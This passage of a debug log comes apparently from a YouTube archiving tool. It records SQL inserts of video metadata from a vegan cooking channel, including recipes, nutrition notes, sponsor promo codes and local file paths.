(Calcium)\n1 tbsp soy sauce\n1 sweet potato, chopped (Potassium, Vitamin A, C, Manganese )\n1 tsp garlic powder\n1 tsp smoked paprika\n1 tsp cumin\n2 tsp chili powder, divided\n2 tbsp nutritional yeast\n1 tbsp soy sauce\n1 tsp avocado oil\n\n1. In a large mixing bowl, combine the tofu, sweet potato, garlic powder, smoked paprika, cumin, 1 tsp chili powder, nutritional yeast, soy sauce and avo oil. Transfer to a large baking sheet and bake for 40 mins @ 425°F.\n2. Meanwhile, make the mexican beans and rice. In a large saute pan, warm a splash of water or 1 tbsp oil. Combine the black beans corn and 1 tsp chili powder and heat through on medium high heat until steaming. Add the rice and salsa, stir to combine and allow all the ingredients to heat through. \n3. Stir in the spinach, cover to wilt and remove from heat.\n4. Serve the rice and beans over more spinach, top with the tofu and sweet potato and garnish with optional avocado, cilantro or more salsa. Enjoy!\n\nOther food sources for bone health\nCalcium:\u00A0green vegetables, cooked kale, cooked broccoli, bok choy, collard greens, okra, almonds*, oranges, chia seeds, tofu, & black white beans, figs, fortified soy milk, black beans, butternut squash, chickpeas, amaranth, edamame\nVitamin D:\u00A0mushrooms\nVitamin K:\u00A0leafy greens, broccoli, asparagus, cucumber, scallions, cabbage\nMagnesium:\u00A0spinach, chard, pumpkin seeds, almonds, black beans, avocado, figs, dark chocolate, banana\nPotassium:\u00A0avocado, squash, spinach, sweet pota" <> ..., "Living with Osteogenesis Imperfecta | What I Eat in a Day to Build Strong Bones (Vegan!)", "93fdcefa-6fad-4512-82f6-185e02885630", 1, [], false, "u3PEO1uN9V8", "https://www.youtube.com/watch?v=u3PEO1uN9V8", 208, "/downloads/downloads/alec/Steamy Vegan/2024-03-23 Living with Osteogenesis Imperfecta | What I Eat in a Day to Build Strong Bones (Vegan!)/Living with Osteogenesis Imperfecta | What I Eat in a Day to Build Strong Bones (Vegan!) [u3PEO1uN9V8].NA", false, false, false, 1, ~U[2024-03-23 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I'm sharing about living with Osteogenesis Imperfecta, a rare bone disorder and what I eat in a day on a plant-based diet to build strong bones! I talk about the importance of healthy bones, mention some high-calcium food sources and other bone and connective tissue supporting minerals that you can easily get on a vegan diet.\n\nLooking for more healthy, high-protein meal inspo? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nBREAKFAST — Chocolate Protein Oats 434 Cal, 27g protein\n1½ cups sprouted oats (Potassium, Calcium)\n2½ cups water plus pinch of salt\n2 scoops chocolate protein powder (Calcium, Vitamin K, A, C, Magnesium, I used Good Protein)\n1 banana, sliced (Potassium, Magnesium)\n½ cup soy milk or your fave plant milk, if needed (Calcium, Potassium, Vit A)\n\n1. Add water and pinch of salt to a pot and bring to a boil. Add the oats and sliced banana, stir to combine, turn heat to low and simmer, partially covered with a lid for 10 to 12 minutes, or until its just about cooked to your liking.\n2. Add the protein powder and stir well so no lumps are left, and remove from the heat. If the oatmeal is too thick or dry, add the soy milk or plant milk and stir until combined.\n3. Top with your fave toppings like more sliced bananas, strawberries, shredded coconut, hemp hearts, and cacao nibs. Enjoy!\n\nLUNCH — Mushroom & Broccoli Quinoa 455 Cal, 21g protein\n1 cup brown lentils, rinsed (Magnesium, Manganese, Potassium)\n3 cups veggie broth\n4 cloves garlic, minced (Sulfur)\n1 onion, chopped (Sulfur)\n1 can coconut milk (Calcium, Potassium, Magnesium)\n1 cup quinoa, rinsed (Manganese, Magnesium)\n½ lb. mushrooms, chopped (Vitamin D)\n1 crown broccoli (Calcium, Vitamin K, A, Sulfur, potassium, Manganese)\n3 tbsp nooch (optional, if you want some cheesy flavour)\n\n1. In a large saute pan, warm a splash of water or 1 tbsp oil. Add the onion and garlic and cook for 2 minutes until softened and fragrant. Add all remaining ingredients minus the nutritional yeast and stir to combine.\n2. Cover with a lid, increase heat to high and bring to a simmer. Turn heat to low, and simmer for 22 to 25 minutes, stirring occasionally, until the lentils and quinoa are cooked through but not mushy.\n3. Serve with fresh herbs or chopped green onion. Enjoy!\n\n\nDINNER — Sweet Potato & Black Bean Burrito Bowl 640 Cal, 32g protein\n2 cans black beans, drained and rinsed (Calcium, Potassium. Magnesium, Manganese)\n2 cups cooked rice, day old prefered\n1½ cups corn (truncated) 20:31:07.621 [debug] QUERY OK source="sources" db=0.7ms idle=21.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.623 [debug] QUERY OK source="media_items" db=2.1ms idle=20.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-20 00:00:00Z], 1] 20:31:07.627 [debug] QUERY OK source="media_items" db=3.4ms idle=20.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this ‘what I eat in a day’ video I’ll be showing you lots of easy, high-protein vegan meals! I’m also explaining why I'm quitting coffee, reducing my caffeine intake and showing you a delicious, chocolatey superfood product called CACAO BLISS that I’m using to help me get through the day.\n\n\nTry CACAO BLISS and get your bliss on! Use promo code STEAMY and get 15% off Earth Echo products! ⬇️ \nhttps://shop.earthechofoods.com/steamy\n\nLooking for more What I Eat in a Day inspo? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\nMorning Cuppa: Cacao Bliss Hot Chocolate\n1 tbsp Cacao Bliss Superfood Elixir\n1 cup hot plant milk\nSplash of water\n\nBreakfast: Strawberry Banana Protein Oats – 500 Cal, 28g protein\n1½ cups oats\n2¼ cups water\n1 banana\n2 scoops Strawberries ‘n Cream protein powder (\u202A@goodprotein6261\u202C )\n\nStrawberry chia jam:\n2½ tbsp chia seeds\n1 tbsp maple syrup\n1 tbsp lemon juice\n10 oz frozen strawberries\n\n\nLunch: Butternut Basil Tomato soup & Tofu BLT Sandwiches\nSOUP = 230 CAL, 12G PROTEIN\nSANDWICH = 320 CAL, 13G PROTEIN\n1 small butternut squash\n7 roma tomatoes\n½ cup fresh basil, coarsely chopped\n1 medium onion\n4 – 5 cloves of garlic\n1 tbsp balsamic vinegar\n1 tbsp tamari or gluten-free soy sauce\n1 tbsp maple syrup\n1 cup split red lentils, rinsed\n5 cups veggie broth\n½ tsp dried thyme, or 1 tbsp fresh\nsalt + pepper to taste\n\n1 batch of tofu bacon strips (recipe video here: )\n\n\nDinner: Orange Ginger Tempeh Nourish Bowl – 495 Cal, 19g protein\n1 block of tempeh, sliced into cubes\n1 tablespoon avocado oil\n1 tablespoon low sodium tamari or soy sauce\n3 tablespoons cornstarch\n\nFor the Orange Ginger Sauce:\n2 teaspoons toasted sesame oil\n½” piece of ginger, peeled and minced\n3 cloves garlic, finely minced\n¼ teaspoon red chili flakes \n2 bell peppers, chopped\n1 small onion, chopped\n1 cup freshly squeezed orange juice\n⅓ cup coconut sugar\n¼ cup tamari or gluten-free soy sauce (Braggs)\n3 tablespoons apple cider vinegar\n1 teaspoon orange zest (about 1 small orange)\n\nCornstarch Slurry:\n1 tablespoon cornstarch\n2 tablespoons cold water \n\nServe with jasmine rice\n\n\nSnack: Cacao Bliss Chocolate Chia Mousse – 260 Cal, 12g protein\n1 container (528 grams), silken tofu\n1 tsp vanilla extract\n6 tbsp chia seeds\n2 tbsp Cacao Bliss powder\n2 tbsp maple syrup or date syrup\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestapp\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I *actually* eat in a day + why I’m quitting coffee… maybe 👀", "aecec479-1cc3-4e88-beab-117132d27a41", 1, [], false, "tJqu8KW2HH0", "https://www.youtube.com/watch?v=tJqu8KW2HH0", 209, "/downloads/downloads/alec/Steamy Vegan/2024-03-20 What I *actually* eat in a day + why I’m quitting coffee… maybe 👀/What I *actually* eat in a day + why I’m quitting coffee… maybe 👀 [tJqu8KW2HH0].NA", false, false, false, 1, ~U[2024-03-20 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this ‘what I eat in a day’ video I’ll be showing you lots of easy, high-protein vegan meals! I’m also explaining why I'm quitting coffee, reducing my caffeine intake and showing you a delicious, chocolatey superfood product called CACAO BLISS that I’m using to help me get through the day.\n\n\nTry CACAO BLISS and get your bliss on! Use promo code STEAMY and get 15% off Earth Echo products! ⬇️ \nhttps://shop.earthechofoods.com/steamy\n\nLooking for more What I Eat in a Day inspo? Watch this playlist next: \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nRECIPES IN THIS VIDEO\nMorning Cuppa: Cacao Bliss Hot Chocolate\n1 tbsp Cacao Bliss Superfood Elixir\n1 cup hot plant milk\nSplash of water\n\nBreakfast: Strawberry Banana Protein Oats – 500 Cal, 28g protein\n1½ cups oats\n2¼ cups water\n1 banana\n2 scoops Strawberries ‘n Cream protein powder (\u202A@goodprotein6261\u202C )\n\nStrawberry chia jam:\n2½ tbsp chia seeds\n1 tbsp maple syrup\n1 tbsp lemon juice\n10 oz frozen strawberries\n\n\nLunch: Butternut Basil Tomato soup & Tofu BLT Sandwiches\nSOUP = 230 CAL, 12G PROTEIN\nSANDWICH = 320 CAL, 13G PROTEIN\n1 small butternut squash\n7 roma tomatoes\n½ cup fresh basil, coarsely chopped\n1 medium onion\n4 – 5 cloves of garlic\n1 tbsp balsamic vinegar\n1 tbsp tamari or gluten-free soy sauce\n1 tbsp maple syrup\n1 cup split red lentils, rinsed\n5 cups veggie broth\n½ tsp dried thyme, or 1 tbsp fresh\nsalt + pepper to taste\n\n1 batch of tofu bacon strips (recipe video here: )\n\n\nDinner: Orange Ginger Tempeh Nourish Bowl – 495 Cal, 19g protein\n1 block of tempeh, sliced into cubes\n1 tablespoon avocado oil\n1 tablespoon low sodium tamari or soy sauce\n3 tablespoons cornstarch\n\nFor the Orange Ginger Sauce:\n2 teaspoons toasted sesame oil\n½” piece of ginger, peeled and minced\n3 cloves garlic, finely minced\n¼ teaspoon red chili flakes \n2 bell peppers, chopped\n1 small onion, chopped\n1 cup freshly squeezed orange juice\n⅓ cup coconut sugar\n¼ cup tamari or gluten-free soy sauce (Braggs)\n3 tablespoons apple cider vinegar\n1 teaspoon orange zest (about 1 small orange)\n\nCornstarch Slurry:\n1 tablespoon cornstarch\n2 tablespoons cold water \n\nServe with jasmine rice\n\n\nSnack: Cacao Bliss Chocolate Chia Mousse – 260 Cal, 12g protein\n1 container (528 grams), silken tofu\n1 tsp vanilla extract\n6 tbsp chia seeds\n2 tbsp Cacao Bliss powder\n2 tbsp maple syrup or date syrup\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestapp\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right t (truncated) 20:31:07.629 [debug] QUERY OK source="sources" db=0.5ms idle=22.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.631 [debug] QUERY OK source="media_items" db=1.8ms idle=9.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-17 00:00:00Z], 1] 20:31:07.633 [debug] QUERY OK source="media_items" db=1.6ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy vegan recipe tastes better than takeout, uses healthy whole food and high protein ingredients and is ready in 45 minutes! Vegan Orange Chicken is going to be your latest obsession!\n\nLooking for more healthy high-protein meal inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nVegan Orange Chicken Recipe\n495 cals, 23g protein, serves 4\n\nFor the crispy soy curls:\n¾ package Butler Soy curls, rehydrated\n2 tbsp gluten-free soy sauce or tamari\n½ tbsp sesame oil\n3 tbsp cornstarch\n\nFor the sauce:\n½ tbsp sesame oil\n½” inch piece of ginger, grated or minced\n4 to 5 cloves garlic, minced\n¼ tsp red chili flakes\n1 small onion, chopped\n2 bell peppers, red, orange or yellow\n1¾ cup orange juice (fresh squeezed is best)\n¼ cup maple syrup\n¼ cup gluten-free soy sauce or tamari\n3 tbsp apple cider vinegar\n1 tsp orange zest (approx. 1 small orange)\n\nCornstarch slurry:\n1 tbsp cornstarch\n¼ cup cold water\n\n1. Preheat oven to 425F and line a baking tray with parchment paper or baking mat.\n2. In a large mixing bowl combine the hydrated soy curls, soy sauce, sesame oil. Then sprinkle the cornstarch over the mix combine until well incorporated. Transfer to the baking tray and spread in an even layer. Bake for 40 minutes until golden and crispy. (Could also air fry in smaller batches for 15 to 18 minutes)\n3. In another bowl combine all the sauce ingredients, minus the sesame oil, bell pepper and onion.\n4. Heat the sesame oil in a large wide-bottom skillet over medium heat and add the minced garlic, ginger and chili flakes. Sauté for 1 to 2 minutes until softened and fragrant.\n5. Add the chopped veggies and pour in the sauce ingredients and stir well to combine. Simmer over medium-high heat for 5 minutes until bubbling. \n6. In a small measuring cup combine the cold water and cornstarch and pour into the sauce, stirring frequently for 3 minutes as the sauce thickens.\n7. Remove the crispy soy curls from the oven and transfer directly into the sauce, stirring well to combine them into the sticky sauce. Every piece should be well coated and the sauce should be thick enough to coat the back of a spoon.\n8. Let the dish heat through one last time with the soy curls for 2 minutes then remove from the heat.\n9. Serve over jasmine rice, garnish with sesame seeds, green onion and chopped toasted cashews and enjoy! You’ll be OBSESSED!\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "High-Protein Orange Chicken // Vegan and Gluten-Free Recipe", "b3938468-c4a0-4846-a05d-80ceeaef212e", 1, [], false, "eRK0Fpwy54Y", "https://www.youtube.com/watch?v=eRK0Fpwy54Y", 210, "/downloads/downloads/alec/Steamy Vegan/2024-03-17 High-Protein Orange Chicken ⧸⧸ Vegan and Gluten-Free Recipe/High-Protein Orange Chicken ⧸⧸ Vegan and Gluten-Free Recipe [eRK0Fpwy54Y].NA", false, false, false, 1, ~U[2024-03-17 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This easy vegan recipe tastes better than takeout, uses healthy whole food and high protein ingredients and is ready in 45 minutes! Vegan Orange Chicken is going to be your latest obsession!\n\nLooking for more healthy high-protein meal inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nVegan Orange Chicken Recipe\n495 cals, 23g protein, serves 4\n\nFor the crispy soy curls:\n¾ package Butler Soy curls, rehydrated\n2 tbsp gluten-free soy sauce or tamari\n½ tbsp sesame oil\n3 tbsp cornstarch\n\nFor the sauce:\n½ tbsp sesame oil\n½” inch piece of ginger, grated or minced\n4 to 5 cloves garlic, minced\n¼ tsp red chili flakes\n1 small onion, chopped\n2 bell peppers, red, orange or yellow\n1¾ cup orange juice (fresh squeezed is best)\n¼ cup maple syrup\n¼ cup gluten-free soy sauce or tamari\n3 tbsp apple cider vinegar\n1 tsp orange zest (approx. 1 small orange)\n\nCornstarch slurry:\n1 tbsp cornstarch\n¼ cup cold water\n\n1. Preheat oven to 425F and line a baking tray with parchment paper or baking mat.\n2. In a large mixing bowl combine the hydrated soy curls, soy sauce, sesame oil. Then sprinkle the cornstarch over the mix combine until well incorporated. Transfer to the baking tray and spread in an even layer. Bake for 40 minutes until golden and crispy. (Could also air fry in smaller batches for 15 to 18 minutes)\n3. In another bowl combine all the sauce ingredients, minus the sesame oil, bell pepper and onion.\n4. Heat the sesame oil in a large wide-bottom skillet over medium heat and add the minced garlic, ginger and chili flakes. Sauté for 1 to 2 minutes until softened and fragrant.\n5. Add the chopped veggies and pour in the sauce ingredients and stir well to combine. Simmer over medium-high heat for 5 minutes until bubbling. \n6. In a small measuring cup combine the cold water and cornstarch and pour into the sauce, stirring frequently for 3 minutes as the sauce thickens.\n7. Remove the crispy soy curls from the oven and transfer directly into the sauce, stirring well to combine them into the sticky sauce. Every piece should be well coated and the sauce should be thick enough to coat the back of a spoon.\n8. Let the dish heat through one last time with the soy curls for 2 minutes then remove from the heat.\n9. Serve over jasmine rice, garnish with sesame seeds, green onion and chopped toasted cashews and enjoy! You’ll be OBSESSED!\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOO (truncated) 20:31:07.634 [debug] QUERY OK source="sources" db=0.3ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.637 [debug] QUERY OK source="media_items" db=3.4ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-12 00:00:00Z], 1] 20:31:07.642 [debug] QUERY OK source="media_items" db=3.1ms queue=0.1ms idle=9.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’m showing you how to make some of my favorite 5 Ingredient Recipes! They’re all vegan, gluten-free, one pot meals! When you’re low on ingredients or on a budget cooking healthy meals can feel like a major struggle, so these easy and healthy recipes will be a big helper to you! Not mention each meal has at least 20 grams of protein per serving!\n\nDisclaimer: I’m not counting things like water, salt, pepper or oil as an ingredient as I’m assuming you have these kitchen essentials at your disposal. One last tip is that these recipes are absolutely delicious with just these 5 ingredients but you can 100% add more things to the recipes if you have them.\n\nLooking for more healthy high-protein meal inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nYellow Lentil Curry 395 cal, 22g protein, serves 2\n1 cup yellow lentils (moong dhal), rinsed\n2 to 3 tbsp curry powder\n2 tbsp tomato paste\n1 tbsp fresh grated ginger\n4 garlic cloves, minced\n4 cups hot water / veggie broth\nSalt, pepper to taste\nOptional: Replace 1½ cups broth for 1 can coconut milk\nSpice Blend if you don’t have curry powder:\n1\u00A0tsp\u00A0chili powder\n1\u00A0tsp\u00A0cumin\n½\u00A0tsp\u00A0turmeric\n1½\u00A0tsp\u00A0garam masala\n1\u00A0tsp\u00A0cinnamon\n½\u00A0tsp\u00A0coriander\n\nPreheat a large skillet over medium heat. Warm ¼ cup water (or 1 tbsp oil) and sauté the ginger and garlic for 2 minutes, until softened and fragrant.\nStir in the tomato paste and curry powder and cook for another 2 to 3 minutes, allowing the tomato paste to darken slightly and the curry to infuse the tomato paste.\nStir in the rinsed yellow lentils and pour in the hot water/broth. Stir, cover and bring to a simmer on medium-high heat and cook for about 15 to 18 minutes, until the lentils are softened and cooked through and most of the water has been absorbed.\nServe over rice and garnish with cilantro if desired.\n\nMexican Rice 405 cal, 20g protein, serves 5\n1½ cups corn\n2 cans (or 20 to 25 oz) black beans\n3 cups cooked rice\n1 tbsp chili or chipotle powder\n1 cup salsa\n(Optional: lime juice, cilantro and avocado for serving)\n\nPreheat a large skillet over medium heat. Add corn and black beans and heat through until it’s steaming and hot, about 3 mins.\nAdd rice, chili powder, stir to combine frequently for 3 mins.\nStir in salsa, cook until everything is warmed through.\nRemove from heat, let cool. Then garnish as you please! (cilantro, avocado, lime juice)\n\n\nLasagna Soup — 500 cal, 24g protein, serves 4\n1 jar Pasta sauce\n6 Lasagna noodles (133 g), broken into pieces\n1.5 cups Red lentils, drained and rinsed\n1 medium onion, chopped\n4 cloves garlic, minced\n6 cups hot water or veggie broth\nsalt, pepper to taste\nOptional: 2 tsp Italian seasoning, vegan cheese to garnish\n\nSauté the onion and garlic in a large saucepan for a few minutes until translucent and fragrant. Add all remaining ingredients, stir to combine, cover and bring to a boil, then bring to medium-low and simmer for 12 to 15 minutes, until the lentils are soft and the noodles are al dente.\n\n\nPROMO CODES & LINKS\n\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) \nCheck out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestapp\u00A0\u00A0\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my coupon code: STEAMYVEGANKITCHEN30\n\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "5 Ingredient Recipes! Vegan, Gluten-Free One Pot Meals", "3eaba3c8-ad36-4e5f-ba9c-caa2587084bf", 1, [], false, "v-QxMWXeELs", "https://www.youtube.com/watch?v=v-QxMWXeELs", 211, "/downloads/downloads/alec/Steamy Vegan/2024-03-12 5 Ingredient Recipes! Vegan, Gluten-Free One Pot Meals/5 Ingredient Recipes! Vegan, Gluten-Free One Pot Meals [v-QxMWXeELs].NA", false, false, false, 1, ~U[2024-03-12 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’m showing you how to make some of my favorite 5 Ingredient Recipes! They’re all vegan, gluten-free, one pot meals! When you’re low on ingredients or on a budget cooking healthy meals can feel like a major struggle, so these easy and healthy recipes will be a big helper to you! Not mention each meal has at least 20 grams of protein per serving!\n\nDisclaimer: I’m not counting things like water, salt, pepper or oil as an ingredient as I’m assuming you have these kitchen essentials at your disposal. One last tip is that these recipes are absolutely delicious with just these 5 ingredients but you can 100% add more things to the recipes if you have them.\n\nLooking for more healthy high-protein meal inspiration? Watch this playlist next! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\nYellow Lentil Curry 395 cal, 22g protein, serves 2\n1 cup yellow lentils (moong dhal), rinsed\n2 to 3 